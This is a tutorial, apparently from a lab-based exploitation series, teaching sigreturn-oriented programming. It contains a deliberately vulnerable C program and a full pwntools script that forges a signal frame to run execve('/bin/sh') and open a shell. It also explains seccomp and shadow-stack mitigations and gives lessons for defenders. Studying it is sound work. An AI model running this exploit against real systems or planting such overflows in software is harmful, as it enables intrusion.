SROP: Exploiting with a Fake Signal Frame
When gadgets are scarce, forge a signal frame. A sigreturn syscall restores every register from the stack at once — build one with pwntools to call execve, then see how seccomp and CET respond.
This is the eighth walkthrough in the Exploitation Techniques area. The ROP guide needed a pop gadget for every register. Sometimes those gadgets simply are not there — a tiny statically linked binary, a stripped payload, a constrained environment. Sigreturn-oriented programming (SROP) solves that with a single, powerful trick: abuse the kernel's signal-restore path to load every register from the stack at once.
Your own binary, disposable lab. See the lab rules.
How sigreturn hands you every register
When the kernel delivers a signal, it saves the full CPU state into a sigcontext frame on the stack. When the handler returns, the C library calls the rt_sigreturn syscall, and the kernel restores all registers from that frame — rax, rdi, rsi, rdx, rsp, rip, everything.
Crucially, the kernel does not check that the frame is genuine. If we can:
- place a forged
sigcontextframe on the stack, and - set
rax = 15(thert_sigreturnsyscall number) and execute asyscallinstruction,
then the kernel loads every register from our frame. We get total register control from two ingredients most binaries contain.
The classic use is to set up a direct execve("/bin/sh", 0, 0): point the frame's rip at a syscall instruction and preload rax=59, rdi=&"/bin/sh", rsi=rdx=0.
The target
A binary with a big overflow but deliberately few gadgets:
/* vuln.c — large controlled write, minimal gadgets. Build static. */
#include <unistd.h>
int main(void) {
char buf[64];
read(0, buf, 1024); /* huge overflow, plenty of room for a frame */
return 0;
}
gcc -static -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c
We need two things in the binary: a way to set rax = 15, and a syscall. In a static binary a syscall ; ret exists, and a pop rax ; ret is common. If pop rax is missing, SROP has its own bootstrap: many binaries reach rt_sigreturn because a preceding syscall (like read) returns its byte count in rax — arrange for read to return 15 and you have set rax without any gadget at all.
Building the frame with pwntools
pwntools models the frame directly with SigreturnFrame, so we do not hand-pack the sigcontext layout:
# srop.py
from pwn import *
context.binary = elf = ELF("./vuln")
context.arch = "amd64"
pop_rax = 0x4XXXXX # ROPgadget --binary vuln | grep 'pop rax ; ret'
syscall = 0x4XXXXX # ROPgadget --binary vuln | grep ': syscall'
binsh = next(elf.search(b"/bin/sh\x00")) # or write one into .bss first
frame = SigreturnFrame()
frame.rax = constants.SYS_execve # 59
frame.rdi = binsh # "/bin/sh"
frame.rsi = 0 # argv = NULL
frame.rdx = 0 # envp = NULL
frame.rip = syscall # after restore, execute a syscall
frame.rsp = 0 # not needed for execve
payload = b"A" * 72 # offset to return address
payload += p64(pop_rax) + p64(15) # rax = 15 (rt_sigreturn)
payload += p64(syscall) # trigger sigreturn -> kernel restores frame
payload += bytes(frame) # the forged sigcontext the kernel loads from
io = process("./vuln")
io.send(payload)
io.interactive()
$ python3 srop.py
[*] Switching to interactive mode
$ id
uid=1000(lab) gid=1000(lab)
The flow: the function returns into pop rax ; ret (setting rax=15), then into syscall, which — because rax is 15 — is rt_sigreturn. The kernel restores every register from the frame we appended, landing rip on a syscall with rax=59 and the execve arguments already loaded. One syscall gave us control of the entire register file.
If "/bin/sh" is not present
Preface the SROP with a small chain that reads "/bin/sh" into a known .bss address (an SROP frame can itself set up a read, then chain a second sigreturn), or use mprotect via the frame to make a region executable and jump to shellcode. SROP composes with itself: each frame can set up the next syscall.
Turn the mitigations back on
Shadow stack / CET
SROP still starts with a hijacked return (into pop rax). A shadow stack (-fcf-protection=full) detects that corrupted return and aborts before any of this runs. SROP does not change the backward-edge story — it only changes what you do after seizing control.
seccomp
Because SROP so often targets execve, a seccomp filter that denies execve/execveat (common in sandboxes and modern daemons) blocks the payoff even if register control succeeds. The attacker is then pushed toward open/read/write (an "open-read-write" chain) — more work, and visible if you monitor syscalls.
/* Sketch: a seccomp allowlist rejecting execve turns the SROP shell into EPERM. */
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_load(ctx); /* execve now kills the process */
| Mitigation | Effect on SROP |
|---|---|
| Stack canary / PIE | Same as any ROP: stop or hide the initial hijack |
| Shadow stack / CET | Aborts the return that bootstraps the frame |
| seccomp (deny execve) | Register control still happens, but the shell syscall is refused |
What this teaches a defender
- Gadget scarcity is not a defence. "There aren't enough gadgets for ROP" is a comforting but false sense of safety: SROP needs only
syscalland a way to setrax. Do not treat a small binary as unexploitable. - seccomp is high-value for exposed services. It does not stop memory corruption, but it caps the blast radius — an attacker with full register control still cannot
execveif the policy forbids it. Sandbox parsers and network daemons. - Backward-edge protection is the common thread. Shadow stacks / CET (and ARM PAC) keep breaking every technique in this series at the same point: the return that starts it. If you ship native code, this is the mitigation to prioritise.
Key takeaways
rt_sigreturnrestores every register from an unverified stack frame; forging one grants total register control.- SROP needs only a
syscallinstruction and a way to setrax = 15— far less than a per-register gadget chain. - pwntools'
SigreturnFramebuilds thesigcontext; append it after triggeringsigreturnand the kernel loads it. - Shadow stacks stop the bootstrap return; seccomp denies the
execvepayoff. Gadget scarcity alone protects nothing.
Next: ret2csu, a different answer to missing gadgets that borrows a universal one from the C runtime's startup code.